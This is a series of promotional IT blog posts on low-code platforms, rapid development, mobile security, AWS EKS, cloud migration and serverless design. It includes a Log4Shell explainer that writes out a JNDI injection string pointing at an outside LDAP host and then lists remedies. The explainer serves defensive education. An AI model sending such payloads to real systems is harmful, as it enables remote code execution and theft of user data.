This is because of the visual development environment offered by low-code platforms that allows developers to use the drag-and-drop feature to develop the apps. While this has proved to be a great advantage in accelerating development speeds, it has also generated a general view that low-code development is for simple apps and that complex software still needs a traditional development approach.

Benefits of Low-Code Platforms in Developing Complex Software Low-code platforms such as Mendix and OutSystems help developers build complex software by simplifying the development process. Some of the advantages of using a low-code platform include:

Automating Processes: Manual coding takes time and is prone to human errors. In low-code development, flexible apps can be created by automating processes. The tasks can be broken down and integrated to simplify even complex processes.

Device-Neutral Apps: It enables the creation of apps that can be used on any device, making it easy for users to access data and collaborate from anywhere, anytime.

Optimizing Resource Utilization: The fact that even non-technical users can develop apps using low-code platforms lowers the cost of development while improving productivity. As it speeds up the development cycle, it also is time-effective and allows faster time to market.

Improved Customer Delight: Low-code development allows users to respond to changing market trends quickly and improve customer service.

Better Risk Management and Governance: Businesses can cope with changing regulatory environment better as low-code development facilitates greater responsiveness.

Greater Adaptability: Keeping the apps up to date and meeting newer requirements is easy as low code does not require complex coding.

Mendix is available in free and pro versions, with the Pro enabling complex workflow management and external integrations through either low-code modeling or Java code.

It is cloud-based and makes IT project management and native collaboration easy.

OutSystems allows the creation of native apps at the click of a button. Once the app is configured and the keys/certificates added, the platform generates the native builds for Android and iOS along with the required content and plugins. It does not even need the installation of Java and Android Studio to build for the mobile.

5 Best Practices for Low-Code Development

To effectively leverage the low-code development platform for faster development of apps, implementing the following 5 best practices will be beneficial:

Best Practice #1 Understand Your Platform: Though low code needs very little coding skills, some basic technical skills are still essential to use the platform effectively. Some time spent understanding the platform capabilities will improve the quality of the apps being developed. Some of the key features the developers and users must be familiar with are platform integration, UI design, API generation, and so on.

Best Practice #2 Reuse Components: Low-code platforms such as Mendix and OutSystems also offer several out-of-the-box components that can help developers jump-start their app-building process. Focus on developing unique features and use the pre-existing features for the rest of the common functionalities.

Best Practice #3 Connect with the Community: Low-code platforms have a vibrant community that can help with developing robust apps. Reach out to the community to solve issues, have questions answered, and collaborate where needed to improve customer experience.

Best Practice #4 Ensure Good UI/UX: Low-code platforms such as Mendix and OutSystems provide easy and ready-to-use UI frameworks and come with standardized components. They enable customizing the user interface and speed up the development process.

Best Practice #5 Improve Security and Governance: Regulatory requirements make security and governance essential. Therefore, developers must ensure that apps developed using low-code platforms are compliant and secure. Permission-based access to data and protection of personalized identifiable information (PII) or sensitive IP must be ensured with sufficient management and oversight policies and rules put in place.

Indium to Facilitate Low Code Development

Indium Software is a leading low-code development company whose team of expert’s custom-develop complex systems with low-code/no-code solutions at low cost. Our low-code development services provide businesses with the tools and expertise they need to quickly and easily create powerful software applications without extensive coding knowledge.

We work with a variety of low-code development platforms including Mendix, Microsoft PowerApps, and OutSystems, leveraging the unique features and capabilities of these platforms to provide end-to-end solutions and low-code platform recommendations based on unique business needs. The use cases range from optimizing the sales process, to automating business operations, improving customer relationship management, and building web/mobile apps. These include business process automation to data analysis, workflow management, and IoT applications, across industries such as healthcare, finance, and retail. We work with cross-functional teams, especially Advance Analytics and data engineering teams to include AI in the solution.

Our services cover selecting and implementing the platform best suited for our business needs; and customizing and integrating the low-code platform with other systems including APIs and databases. We also provide low-code QA services, maintenance, training, and support for the low-code platform.

FAQs

The post Low-Code Development & High-Performance Software: 5 Best Practices for Building Complex Software appeared first on Indium.

According to BusinessWire, the rapid application development market is expected to reach a compound annual growth rate of 42.6% between the period 2021 and 2026. The next few years will see many enterprises adopting rapid application development.

Rapid development means that the application development model provides prototypes at a high velocity. There is constant feedback from the customer which is used to extend the product’s life cycle on the market.

As building software is a very dynamic and constantly changing field, rapid application development services are built in a way that less stress is put on planning tasks, and more emphasis is put upon the rapid development of the prototypes. Let’s look at why rapid application development (RAD) is important in today’s IT environment, and the phases included in the process:

The Significance of Rapid Application Development (RAD)

Rapid application development is one of the most efficient software development program methodologies today. Discussed below are some advantages that come with adopting rapid application development services:

• Flexibility to make Changes: Rapid application development is useful in a situation where the product needs to constantly go through quality checks and changes to the prototype. The client can give continuous feedback which can be incorporated into the application development cycle so the end product is satisfactory to the customer.

• Comprehensive Knowledge of Features: The RAD model can be effective for software engineers and developers to gain knowledge on exploring different functionalities, user experience features, and graphics. Specific client requests can be met and the overall rejection levels can be reduced by receiving more comprehensive feedback from the customer.

• Focus on Iterative Design and Teamwork: The overall structure of a rapid application development model allows to improve the teams’ efficiency. This is done by picking and choosing tasks according to the members’ specialties and past experiences. Thus, the process is streamlined, enabling constant communication between the team members and stakeholders, which significantly increases the quality and efficiency of the build process.

Phases of Rapid Application Development

There are four distinct phases in the process of rapid application development. The steps included are as listed down below:

• Phase 1: The first step includes the requirement planning stage which helps to flesh out what the overall project scope is. In this stage, both developers and team members deliberate on the goals and expectations for the project. Hurdles that may arise are easily mitigated after this step. This is achieved, as research for defining requirements is done and finalized according to the stakeholders’ approvals.

• Phase 2: When the project’s goals are listed down, it is finally time to get into the development and building stage of the application. This is done by getting different user designs by creating a number of prototype iterations. This interactive phase allows the product to take the right path and meets user expectations. Each product is tested and feedback is sent to the developers to fix any bugs or defects in the iterative process.

• Phase 3: The construction phase converts the prototypes acquired from the user design phase into a working model. Users get to suggest improvements and changes as the software is developed in the pipeline. As the previous phase covers most of the issues that can arise, the construction of the model is a lot faster as compared to a traditional project management strategy.

• Phase 4: The final phase in the rapid application development process is very similar to that of the implementation or final phase in a software development life cycle (SDLC). It includes a number of tasks such as the conversion of data, the changeover to newer systems, user training, and testing across platforms.

How RAD can help your Business Boost Revenue

There are some key factors to consider before adopting the rapid application development (RAD) methodology. RAD works in models where the systems can be broken down into separate modules.

• Increased Customization and Flexibility of Products: As systems can be distributed into separate forms, RAD allows frequent changes in the build of the prototype. This allows for the project to be broken down into smaller and more manageable activities for the team. The integrations can be applied from a very early stage which also helps to identify bugs early.

• Skilled Capabilities in Workers & Technology: Highly skilled designers are sought out in order to build the perfect model for the client’s requirements. Code-generated tools make it cost-effective to create multiple prototypes as there require frequent changes to be made during the development process of the project.

• Cost-Effective Models in Development: Rapid application development helps in reducing fixture and machine costs. This is alongside also making sure that the lead time is reduced by constantly setting up molds for products in real-time. Depending on the nature of the product, it can be expensive to purchase or create fixtures that can accommodate new technology. The reduced rates on material and lead creation can be utilized in conducting more marketing and testing activities.

• Oversight with Collaboration until Deployment: The RAD process requires all the members of a team to be fully committed to the approach. As it is different from the traditional methodology of creating applications, there is always a need to ensure that all stakeholders are on-board with the strict timeline that needs to be adhered to. The success of any RAD process is fully dependent on the project manager’s capabilities to outline the development phase and have a successful communication channel established with the team members and stakeholders all in real-time.

Also Read: Taking advantage of Mendix’s Rapid Application Development Capabilities with MS Azure

What the Future Holds for RAD

Although rapid application development as a process is a few years old, it remains very relevant in the current state of IT. There is a need to deliver products to the market a lot faster to keep up with market trends. Traditional approaches come with strict planning and documentation which can be both time-consuming and expensive for businesses.

Since the product needs to be tailor-made to the customer’s expectations, the fast development needs to come with ample client participation. As the client can see the prototype at any point, RAD emphases on rapid prototyping where the process can be used on all project sizes.

Fast-project turnaround, a rapid working pace, and constant customer feedback loops are some integral parts of the rapid application development process. Leveraging rapid application development can help in reducing the overall planning time and help focus on multiple prototype iterations to satisfy customers at every step of the development process.

The post Enable Increased Revenue using Rapid Application Development appeared first on Indium.

A bug began retrieving sensitive data – like latitude and longitude – from Ring’s app, exposing precise details about users. Going unrealized, the bug had been stealthily screening Ring’s server causing data leakage. Hackers began hurling racial slurs and death threats to user, infuriated at which, the latter resorted to legal action against the tech firm. Severe criticism from civil rights groups and regulatory authorities marred Ring’s reputation, taking a heavy toll on its business.

While that was just an example, each year many enterprises suffer heavy financial losses due to their weakly secured mobile apps. Analysis by CVE Details for the last decade has exposed 2500+ vulnerabilities and 1600+ vulnerabilities in Android and iOS devices respectively. Advancing mobile apps thus makes sense only when they are coupled with a parallel application security vision.

Giving way to IP thefts, reverse engineering, jailbreaks, and unauthorized user authentications, inadequately secured mobile applications leave customer data and the application framework vulnerable, inviting a host of security breaches.

To ensure a securely functioning mobile application, you thus require the knowledge of the right steps. While successful mobile application security framework might involve performing multiple steps, here we are going to discuss 5 important steps in mobile application security.

What are the 5 important steps in Mobile Application Security?

A systematic workflow of essential steps only helps to build a perfect mobile application security framework. Here we will go into the details of 5 essential steps that must be executed.

Authorize application access

As the first basic step, authorizing application access creates necessary accessibility prerequisites. A practical approach to authorizing an application starts with using two-factor authentication. Here, the first step is asking the user to enter ID and password, and the second step is validating the login through OTP sent to the mobile phone. Biometric authentication using fingerprint-based access may also make the second stage as required by the application.

One-time password (OTP)-based authentication creates a user in AWS Cognito and sends the user a unique 6 digit number for authenticating access to the application. As passwords are easy to hack, OTPs are the first line of defense against potential unauthorized access.

As a part of password creation, have a strict password policy, with rules framed for password length, password topologies, and password topology. Complex, alphanumeric passwords offer better security. Have an expiry time for passwords, so that users are prompted to modify their passwords at regular intervals.

Password strength must be analyzed using password testing best practices, which helps understand the implementation of password policy. Ascertain from time to time if password functionalities defined in the source code are functioning rightly. Finally, review password verification to ensure that passwords don’t violate the predefined password rules.

Protect sensitive data

To lay a successful foundation for protecting application data, the application network must be authenticated, which is a key to verifying the data accessor’s identity. Standard Transport Layer Security (TLS) protocols play a major role in offering this authentication. This is a primary step to safeguarding sensitive user data from the prying eyes of fraudsters and hackers. However, as much as 50% of the mobile APIs are not authenticated on the tokens. Hence there is the need for strong measures to protect the data.

To ensure that data managed by applications is secure across the entire application-data interaction lifecycle, implementing Amazon EFS (Elastic File System) along with IAM (Identity and Access Management) is a viable solution. EFS assesses IAM policies and encrypts the data, providing only relevant users access to the data.

Building a Virtual Private Cloud (VPC) protects data by treating the application ecosystem as a private network in the cloud environment. Logically isolated, VPCs keep application data secure by limiting access to resources. Using dedicated security protocols, it guards the data traffic.

Platforms like Amazon Cognito come with a dynamic authentication mechanism that provides data access to users through limited-privilege credentials. Having short life, these credentials leave no scope for unauthorized access and thereby prevent attempts to tamper with data.

Obfuscate the code

Code obfuscation conceals source code and deters all potential attempts to hack it by making the code useless for unauthorized access. The code is altered, but it performs the same functionality as performed by the original source code. Involving modification of app’s binary, code obfuscation hides function and class names and prevents reverse engineering of the proprietary app.

As a process, code obfuscation is executed using a series of mechanisms that make the code unintelligible. Here are some of those code obfuscation mechanisms:

• Rename obfuscation: Intentionally, variables are assigned confusing names, so that their real role in the code is not made easily visible. This method is common with application codes developed using Java, .Net, and iOS and Android platforms.

• Data obfuscation: Specially used to obfuscate data structures in the code, it helps keep hackers from reaching the core functionality of the code. It alters the data storage pattern and data interpretation for display features.

• Dummy Code: Codes are inserted to create an impression that they perform some different functionality; however, the logic remains the same. It is a robust mechanism to prevent hackers from reverse-engineering the code.

• Address obfuscation: It transforms code for each execution and randomizes the code’s virtual address, thereby preventing unchecked access to memory arrays.

Secure third-party API key

Third-party APIs are linked to multiple applications, and if the APIs fall prey to cyberattacks, it takes a toll on the applications. Functional third-party API security comprehensively safeguards the integrity of APIs. As an umbrella framework, API security encompasses right from API access control, threat detection and prevention of API reverse engineering.

The foremost action to secure third-party API keys is to drive API testing. Based on the type of API – SOAP (Simple Object Access Protocol), REST (Representational State Transfer) etc. – appropriate testing mechanism can be leveraged. For instance, Static Application Security Testing (SAST) helps identify vulnerabilities to API security during the early development stages.

Remember that each third-party API key is a secret and securing it is a critical step to ensure before the app goes into production. Here is how you can keep third-party API keys safe:

– Ensure secrecy by keeping the keys on the cloud; pull them when needed, by requesting the application.

– Add the keys in libraries so that they are difficult to decompile. Splitting key strings into different components and storing the individual components across different locations offers greater security.

– Use an obfuscator to put the key code as hashed secret. Later, unhash it, as required

Guard the communication framework

Applications interact extensively with external environments, and a weak communication framework creates opportunities for hackers to sneak in. As such, the regular communication for data exchange between the device and servers through applications must be protected.

Authenticating the interaction between apps and web platforms starts with Transport Layer Security (TLS). As a basic step, it helps protect access credentials.

Since REST is the communication facilitator in most cases, it must be configured to secure the communication between apps and web services. In this case, the platform automatically generates REST endpoints for secured server actions. Endpoint security works in two ways. First, the accesses are encrypted, and second, the server-side access control regulates the accesses. This works as a complex process that completely protects end-to-end communication.

Technical mechanisms like Open Authorization protocols – OAuth Core 1.0, OAuth 2.0 – streamline the process to securely manage the communication. These protocols give applications the ability to access protected resources from web services. Offering strong cryptographic features, OAuth 1.0 supports digital signatures and comes in handy when developing apps for banking or public services. OAuth 2.0 provides restrictive access, by offering access only to a set of resources and keeping an expiration date for every access token, which heightens the communication security.

You might be interested in: Artificial Intelligence And Its Impact On Mobile Applications

Conclusion

The above steps that we discussed with you are essentials to successfully deploy and manage a functional mobile application security framework. Systematically executing these steps creates a self-defending layer that holistically secures mobile apps.

Mobile application development services complete half the story, as securing it makes the rest. If you are looking to make your mobile apps more secure, these steps will definitely help you.

You can also seek Indium’s assistance to build a long-term mobile application security strategy.

We keep adopting the best standards and continually evolve our risk mitigation framework to effectively counter cyber threats. Get a detailed insight by knowing our Application Engineering services.

The post 5 steps to build robust Mobile Application Security framework appeared first on Indium.

Multi-tenant data centers refer to a software application being shared by multiple clients, including enterprises and cloud providers, at some level. Improved client servicing is one of the biggest advantages of being on a multi-tenant data center. It also enables:

• Continuous technology upgradation with minimum disruption and costs
• Scalability and cost-effectiveness because of sharing of resources such as web servers, databases, and computing resources
• Lower demand on IT services
• Faster response and deployment
• Security
• Cost Optimization

However, data centers also can become rigid over a period of time and also present security concerns.

Amazon Elastic Kubernetes Service (EKS)

Amazon Elastic Kubernetes Service (Amazon EKS) is one of the popular orchestration platforms used by organizations moving towards a SaaS (software-as-a-service) model of delivery

One of the many advantages of EKS is that it provides multiple options for designing and creating a multi-tenant SaaS solution, though each comes with its own limitations. With each, the impact on the effort needed for implementation, cost efficiency, and operational complexity will vary

Some of the models that are available under EKS include:

• A cluster-per-tenant model where tenants are isolated, but this may prove to be a costly option
• A shared computing model allows tenants to comingle within the cluster while isolation and namespace are managed at the application level. This can be efficient operationally as well as cost-wise, but may not be suitable as an isolation model.
• Namespace-per-tenant isolation is a via media where multiple tenants are deployed in one cluster but namespaces and a series of native and Kubernetes constructs enable separating them. Also called a silo model, it allows the allocation of resources for each tenant separately. It facilitates isolation cost-efficiently.

Some of the key elements for running this environment include:

• Web Applications: Three applications, built using Angular, are available to interact with the environment’s backend services of the environment. These include:
  • The admin console for the SaaS provider administrators
  • The landing/sign-up application that allows new tenants to public register themselves for the service
  • An e-commerce application called the Sample SaaS commerce application

• Shared Services: This enables onboarding and managing tenant and users of the application. They help to manage, authenticate, and configure shared services and handle the operations and data required to onboard tenants.

• Application Services: Application services represent the microservices providing business functionality of the application. Based on the tenant’s tier, the role and deployment of these application services will vary.

• Data Storage: Storage in a multi-tenant environment can be challenging and confusing due to there being many options, each with its own pros and cons. AWS also provides many storage models, including Amazon Redshift, Amazon DynamoDB, and Amazon Relational Database Service (Amazon RDS). Scoping, managing, and data security in each of these models is unique and needs to be partitioned to align with the needs of each enterprise’s SaaS environment.

You might be interested in: Using AWS for Your SaaS application–Here’s What You Need to Do for Data Security

5 Best Practices for AWS EKS usage in Multi-Tenant Applications

Given these complexities and varieties, the effectiveness of AWS EKS can be improved by implementing the following best practices:

Best Practice #1: Create Separate Namespaces for Each Tenant

It is important for each client in a multi-tenant SaaS application to have a separate namespace to make dividing resources across multiple clients in a single cluster resource easy. The namespace is the primary isolation unit in Kubernetes for multi-tenant architecture and a core feature in Amazon EKS. This enables enforcing data privacy without having to create a separate cluster for each client, thereby reducing the cost of computing resources and AWS hosting.

Best Practice #2: Resource Consumption Management with ResourceQuota

In a multi-tenant SaaS application, multiple tenants access the same Kubernetes cluster resources parallelly. Disproportionately high usage of resources by one tenant can deprive others of access. With ResourceQuota, caps can be set on the resources that each container can use.

Best Practice #3: Network Policies for Network Isolation

Isolation is an essential requirement in a multi-tenant environment since the Kubernetes production cluster permits namespaces to interact with each other, which is to be avoided. Tenant isolation network policy and network segmentation on Amazon EKS using Calico on Amazon EKS can help assign network policies and effect the isolation.

Best Practice #4: PersistentVolume and PersistentVolumeClaim for Storage Isolation

For allocating storage resources too, Amazon EKS provides PersistentVolume (PV) for seamlessly assigning and managing storage for the tenants. PersistentVolumeClaim (PVC) allows a tenant to send a storage request. Being a namespaced resource, it helps isolate storage for different tenants easily.

Best Practice #5: Integrating IAM Integration with Amazon EKS for Access Management

EKS enables the administration of Role-Based Access Control (RBAC) by integrating with AWS IAM on a Kubernetes cluster. The AWS IAM authenticator authenticates the tenant namespace and defines access based on roles. In addition, ClusterRole and Role policy provisioning on the cluster can help adopt a tight security posture.

Indium–An AWS Partner

Indium Software is an authorized AWS partner with experience and expertise to facilitate building a secure and effective multi-tenant application using AWS Serverless/EKS. Our experts work closely with the client to understand their business requirements and data governance and security policies. In addition, we implement the best practices to help businesses derive optimum benefits from their SaaS applications.

The post 5 Best Practices While Building a Multi-Tenant SaaS Application using AWS Serverless/AWS EKS appeared first on Indium.

The traditional software development process relied heavily on codes, organized as a single-tier module or n-tier architecture (Internet stack) isolated horizontally. This makes scaling, performance, and rapid deployment difficult and is compelling businesses to adopt digital transformation to be future-ready. Modern solutions are more agile, enabling rapid development and deployment using dockers and containerization, orchestrated by Kubernetes. This helps businesses shorten their development cycles, speed up time-to-market, and gain a competitive advantage.

Modernizing application development solutions provide the benefits of:

• Lower cost of development
• Greater efficiency in the development and deployment processes
• Improved RoI

However, for businesses with legacy solutions, moving to the cloud and microservices architecture is not a straightforward, lift-and-shift process. Businesses need a multi-dimensional approach when adopting and using new technology, refactoring, redesigning, or replacing legacy solutions as needed. They need to be able to assess the potential of the codes to adapt to the microservices architecture and choose whether it can be rehosted, needs to be refactored, completely redesigned to be able to meet the new needs.

Microservices architecture provides the benefits of elasticity, speed, ease of deployment and management, resilience, and flexibility. To leverage these advantages, the existing solutions need to be transformed into highly available, agile, and elastic solution.

Best Practices in Migrating to AWS Microservices Architecture

When businesses migrate to the Amazon Web Server, it is important to first assess and evaluate the readiness of the enterprise for this change. The transition must be done in a phased manner, one or two applications at a time, to ensure business continuity as well as to ensure the business is future-ready and scalable.

The apps selected for the process should provide value to the business and should be decoupled based on measurable benefits.

It is important to:

• Define the objectives of the transition
• Define the scope and the changes needed to the architecture
• Prepare the resources
• Change critical development approach

Based on the scope and the criticality, the businesses need to identify the monoliths that need to be decomposed to microservices architecture first. It is important to understand the business use case of the monolith, the underlying technology, and the interdependency with other applications. The reliability and performance issues of the applications should also be considered before undertaking modernization. The team must be prepared and trained to face the new requirements and fresh talent absorbed to supplement the existing skills.

Next is to identify the following:

• The supporting infrastructure
• Application middleware
• Middleware services, including databases, integration software, queuing software, and other technologies and components.

The 7Rs of App Modernization on Cloud

Retire

The applications you don’t need any more.

Retain

On-premises applications that are too complex or costly to migrate.

Rehost

Applications quickly in the cloud.

Replatform

Applications that need to run on a different operating system in the cloud.

Replace

Applications for which better and/or cheaper SaaS solutions are available.

Refactor

Applications that need significant code rework for the cloud, decoupling from other systems as needed.

Reimagine

Business processes in the cloud by redefining and enhancing core value propositions.

AWS MAP < MAP is not a tool, it’s a AWS funded program to help customer pick pace in cloud journey>

AWS offers an outcome-driven Migration Acceleration Program (MAP) through its partners such as Indium Software to simplify and accelerate migration for enterprises. With MAP tools, businesses can experience:

• Lower costs
• Automation and acceleration of execution
• Customized training approaches and content
• The expertise of Indium AWS team
• AWS investment

The MAP approach is based on the three pillars of

• – Assess
• – Mobilize
• – Migrate and Modernize

This helps in reducing risks while speeding up modernization to help businesses benefit from the performance, reliability, and security of the cloud. The tools for each of these aspects are as follows:

● Assess and Mobilize:

• AWS provides Migration Evaluator which enables building a business case based on data for the migration to AWS.
• An AWS Migration Hub enables tracking the migration of applications from a single location
• The AWS Application Discovery Service helps with discovering the inventory and behavior of the on-premises server

● Migrate Applications:

• The AWS Application Migration Service simplifies and expedites the migration while keeping the costs low
• AWS Database Migration Service facilitates the migration of databases with minimal downtime

● Businesses can modernize their mainframe, Windows, SAP, and VMware with specific tools for each

● For data storage, MAP provides tools such as:

• AWS Transfer Family migrate files to Amazon S3 and Amazon Elastic File System using FTP, SFTP, and FTPS protocols
• AWS Snow family for collecting and processing data at the edge and migrating data to and from AWS using physical devices and capacity points

Indium Software–AWS Expertise

Indium Software is an AWS partner that facilitates app modernization on AWS by aligning cloud platform capabilities to business strategies. It has a proven track record in AWS consulting, system integration, and offering industry solutions by accelerating the digital transformation journey of its customers. It has completed more than 150 App Migration/Modernization, involving more than 20 Petabyte of data migration, and 250 CI/CD pipelines

Some of its key offerings include:

• App Modernization (Serverless/Containerization)
• Migration of legacy apps to AWS with zero downtime
• Application migration from any cloud to AWS Integration Services

The Indium team of AWS experts have cross-domain expertise that helps them understand the needs of its customers and provide bespoke solutions best suited to their needs. We design the architecture and evaluate the existing applications to design the migration strategy based on expected outcomes.

The post Breakdown Legacy Applications in Microservices Using AWS Tools and Solutions appeared first on Indium.

A modern application is typically cloud-native, developed on serverless operational models using agile application development processes. This not only reduces the total cost of ownership but also accelerates innovation by leveraging automation.

Serverless technology eliminates the need for servers and infrastructure and replaces it with single-purpose APIs and web services that allow developers to build loosely coupled, scalable, and efficient architectures quickly. Some of the use cases for serverless applications include web applications, data processing, batch processing, and event ingestion.

What are the core components of building modern applications?

Some of the core components of modern application development include:

• Automation: Automation not only lends speed to the development and testing processes but also reduces errors.
• Continuous Integration (CI):
• Faster deployment of modern apps in development environments
• Improvements to code quality through its review at multiple stages and deploying it in small batches iteratively
• Increased security
• Improved reliability
• Simplifies infrastructure
• Reduces operational overheads
• Lower costs
• Improves efficiency of microservices-based architectures with distributed presence

• Continuous Delivery (CD): This reduces the time-to-market of new, revenue-generating features and facilitates continuous improvement over time. A development and release strategy, CD enables organizations to speed up delivery, lower risks, and reduce costs in modern application development. This requires a DevOps model of development with an automated build and test system that facilitates making changes to the codebase without manual intervention.
• Microservices and APIs: By separating the individual components from the application, microservices make it possible to change components without having to update the rest of the app. This helps with CI as well as scaling without overhauling the infrastructure.
• Security and Compliance: Authentication, Authorization, Auditing & Governance, and Validation are four essential parts of security and compliance and are integral to modern application development. This helps to prevent any malicious breaches as well as meet compliance requirements.

You might also be interested in: Application Modernization Strategies: A step-to-step guide

Modern Applications Development on AWS Serverless Architecture

AWS helps to maximize agility and speed up development by providing serverless technologies such as AWS Lambda, development tools including AWS Amplify and AWS CDK, and purpose-built databases such as Amazon DynamoDB. The containers are designed for speeding up innovation through the development of modern applications that can be developed, tested, and deployed quickly. To facilitate this, the serverless architecture from AWS offers services such as:

AWS CodeCommit: A fully-managed source control service, it securely stores code for each major version.

AWS CodePipeline: AWS CodePipeline enables the automation of the deployment of applications using CI and CD best practices. These pipelines are scalable, reliable, and cost effective, while helping to lower risks, accelerate time to market, and reduce the total cost of ownership.

AWS CodeStar: Jumpstart application development on AWS with ready-made templates and pre-configured application stacks. AWS CodeStar also automatically provides all the infrastructure required to power their applications, such as load balancing, auto-scaling, monitoring, and security controls.

Benefits of Serverless Architecture

Without a doubt, the first benefit is the lower cost of ownership as there is no infrastructure or server to invest in. It does not require provisioning, and so there is no risk of over or under-provisioning.

Secondly, codes can be executed in response to events in a parallel way, as a response to HTTP requests, events raised by other AWS services, or invoked directly using an API.

Users pay per use and do not have to pay for idling servers or unused capacity. What matters is the code performance, with faster execution costing cheaper to run.

Serverless compute functions are stateless and allow for quick scaling of the platform based on incoming events or requests.

Indium for Building Serverless Modern Applications

Indium Software, with more than 150 app migration/modernization and 250 CI/CD pipelines, has the required expertise and experience to help you develop modern applications using serverless architecture. As AWS partners, we align business strategic imperatives with cloud platform capabilities, leveraging AWS’s pre-fabricated toolsets to accelerate innovation and facilitate agile development for collaborative and customer-focused solutions.

Our AWS Offerings include:

• App Migration/Modernization: License Optimization, workload migration, Cloud-native app development, Monolith to Microservices, Containerization, Serverless
• Data & Analytics: EDW Modernization, Enterprise Data Lake, Distributed data processing, Real-time data processing, Data governance, BI/Analytics, AI/ML
• DevOps: DevOps toolchain identification, Maturity Assessments, Microservices, Containerization, CI/CD, Infra-as-a-code, Alerts & Monitoring, Log/Policy/Config management

Our range of AWS capabilities includes consulting, system integration, and industry solutions, enabling our clients to accelerate their digital transformation journey.

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First of all, this threat is not new and not found recently. This is well explained in the year 2016 a security expert in Blackhat USA 2016 forum had exhibited the seriousness of this flaw in a security conference. But no one from neither developer community nor from pen test community had given any attention to it and it is gone caught free till security team from Alibaba demonstrated the seriousness of this issue this month (Dec 2021). Log4J security threat is very much like the famous SQL Injection where a specific command can be passed through SQL queries and that can be executed in the database which will expose user sensitive data like password, credit card etc. These types of issues are identified as Improper Validation Input by NIST, and this vulnerability is termed as CVE-2021-44228. This means that keep too much trust on untrusted data that comes from outsiders.

Log4Shell Injection

Application logs help developers to debug the application during all phases especially helpful to examine production issues. Java developers mostly uses Log4j to file their application logs. This library has the feature called lookups helping to connect to different services like jndi, docker etc. This lookup feature introduced the vulnerability to implant malicious java code into the server and potentially steal the sensitive details from the server. The seriousness of this vulnerability is potential when it exposes JNDI (Java Naming and Directory Interface), as it reaches to several other services like LDAP for authentication which keeps PII (Personally Identified Information).

Let us have simple example to verify how this could go wrong,

In the search text field of our application user sends a string as ${jndi:ldap://something.com/x}, and this is being logged it in the code like,

log.error(“search string {}”, searchStr);

Log4J identifies this as lookup command to get connected and gets executed by server and try connecting to ldap server and return a response with required details like vulnerable java class to hacker to exploit the level of taking complete control over the server. The code snippets are like shell commands directly being applied on the server hence it is named as log4jshell, also it is being executed remotely it is known as RCE (Remote Code Execution). It could inject the malicious code into the system using this logging framework, hence this is termed as Log Injection.

Using the above request, the hacker is found the Vulnerable-Class, with that to take the control of ldap server which hosts all sensitive details of the application users.

Learn more on application development platforms here: Be Discoverable- Here’s How Your Product Can Rank better on the App Store

Remedies

• Upgrade log4j2 to log4j2.16.x
• In the log4j.conf, set the nolookup next to message (%m{nolookups})

• Set the following jvm flags to false
  • com.sun.jndi.ldap.object.trustURLCodebase
  • com.sun.jndi.rmi.object.trustURLCodebase
• In case we use gradle as build tool we can add the following lines of code to protect from this vulnerability.

• Directly apply the patch class supplied by Log4J team

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Since their advent, smartphone apps have become intrinsically linked to our everyday lives. They have become part of our lifestyle, transport and even our healthcare. With millions of apps coming out on various platforms every year, the process of app development is much more democratized in 2021 than it ever has been.

Instead of spending hours perfecting every miniscule feature on an application, coders today can work on pre-set developing tools where many functions have already been coded and pre-made. These tools make it easier for laymen with little to no experience in coding to make simple apps that serve their purpose. This makes it so that the whole process of application engineering is brought to the fingertips of an individual to make use of.

Low-code and no-code software development are also sometimes termed citizens’ development owing to how the agile methodologies help enterprises deliver applications in an expedited manner.

A World Where Anyone Can Code

The democratization of app development brings along with it a number of beneficial factors for small businesses and start-ups who are constantly struggling to keep up with bigger corporates and conglomerates.

• Bridge gaps in Skill Sets: Low-code development help enterprises to eliminate the skill gaps between the existing IT staff who code and non-developers who might have valuable inputs to build applications across the board easily.

• Reduce Time to Market by Speeding up Development: Application development for custom app or mobile apps is a very long and repetitive process that can drag the development cycle for months, if not years. Internal staff can identify business requirements as the application is being developed to reach the desired customers in very little time.

• Cut back on Costs and Training: Companies do not require to hire external application development teams as the tools are designed for existing internal teams. The tools are designed so that existing teams can easily work on the same while saving money on both resources and additional training costs.

What Exactly Is the Difference Between Low Code and No Code?

No-code platforms are very simple in the way they work. They allow one to create basic functional applications through a visual-based drag-and-drop interface. There will not be any major upgrades from legacy systems; hence, teams use the app for particular needs within a specific scope. The biggest advantage with no-code is that they can be used by people with no prior coding knowledge and can be used to create prototypes by non-technical teams before sending it for development by the IT team.

A low-code development medium usually uses visual interfaces with simple drag-and-drop features instead of elaborate coding languages that make it intuitive to use for the general user with no formal knowledge. It is the half-way point between no code and fully-fledged coding. Low-code also has a visual-based interface but can also be used for scalable environments with flexibility in the cloud or on-premise deployments along with APIs for reusability.

Low-code allows for manual coding and scripting, which gives developers the best of both worlds. The platform empowers developers to build advanced apps with their code while using existing platform’s capabilities. A pre-existing set of tools help them bridge the gaps that otherwise would have required specialized skillsets or an extra team altogether.

A platform like no code/low code is ideal for small businessmen and service providers, reducing the cost and time to market. Low-code makes it easier to go digital. Making the internet and smart services easily accessible across the spectrum.

Is it No-Code or Low-Code?

The right route for any business when it comes to choosing between no-code and low-code is to look at the use cases and patterns of the enterprise across a period of time and seeing which development platform would be the most optimum for their unique business type.

A large number of apps and interlinks between them may lead to them being as integrated as websites on the internet itself. Tik Tok tops Google or Facebook the previous top contenders) as the most visited website on the internet. This is owing purely to the accessibility of the application and how it ties into a number of tropes, including acting, music, and short-form viral clips.

How will low-code apps affect the future?

The need of the hour is to identify players in the field of application development, which can skyrocket the efficiency of newer technologies in the pipeline such, as Web 3.0. With crypto/digital currency taking over the world by storm, transactions are being handled by e-wallets and QR-based payment services more and more. Autonomous healthcare, transport, & retail services are also slowly being integrated into an ecosystem conducive to faster and more efficient living. Applications are becoming integral to our lives these days, more than ever, and the emergence of more no-code and low-code app developers will only stimulate this very process in the long run.

The post Low Code vs No Code- A Guide to a New Age of App Development appeared first on Indium.

In a time where technological advancements make it easier for individuals and any organization to create an app, making sure your application development process is rendering your product discoverable by your target audience can make or break your business. Among the 2,200,000 apps on the Play Store, your app has to come at least in the top 500 for users to discover, install and try it. This blog explores upon how to stay relevant and increase discoverability, especially when the odds are not in your favor?

A good strategy to increase discoverability involves optimizing your app, its quality and the meta content surrounding it to be aligned with what users and the app store search engines are looking for.

App Store Optimization

Search Engine Optimization or SEO is now a full-fledged area of study and practice where
web developers and content creators tweak their content to rank better in Google’s search
engine page results. App store optimization (ASO) is a similar process, where you need to
have a good idea of who your target audience is so that you can tailor everything inside and
outside your app so that it shows up when your customers are searching for it.

Just like in SEO, the best way to climb up the ranking on an app store is to create bug-free,
quality content in your apps. Your content usually ranks better if it answers searcher queries
accurately. Similarly, if your app genuinely helps your target audience resolve their issues,
